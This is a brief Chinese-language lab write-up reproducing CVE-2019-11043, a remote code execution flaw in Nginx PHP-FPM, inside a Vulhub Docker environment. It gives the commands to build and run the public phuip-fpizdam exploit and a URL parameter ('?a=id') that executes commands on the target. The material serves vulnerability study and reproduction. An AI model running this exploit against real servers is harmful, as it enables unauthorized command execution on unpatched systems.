0x01 漏洞描述
CVE-2019-11043是一个远程代码执行漏洞,使用某些特定配置的 Nginx PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx PHP-FPM的服务器 URL发送 时,服务器返回异常。
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
0x02 影响范围
在 Nginx PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
· PHP 7.0 版本
· PHP 7.1 版本
· PHP 7.2 版本
· PHP 7.3 版本
0x03 漏洞环境:
攻击机:kali
需要安装
Go环境
安装:
sudo apt-get install dockerdocker-compose
sudo apt install golang
工具:
git clonehttps://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
使用:
cd phuip-fpizdam/
./phuip-fpizdam/
go run . http://ip:8080/index.php
靶机:ubantu
Vulhub
安装:
git clonehttps://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 &&docker-compose up -d
0x04 漏洞复现:
启动环境之后,就可以看到漏洞环境的默认页面。在此为http://ip:8080/index.php。
上边工具安装完成之后,run 一下
然后访问
http://192.168.123.190:8080/index.php?a=id
此次复现成功。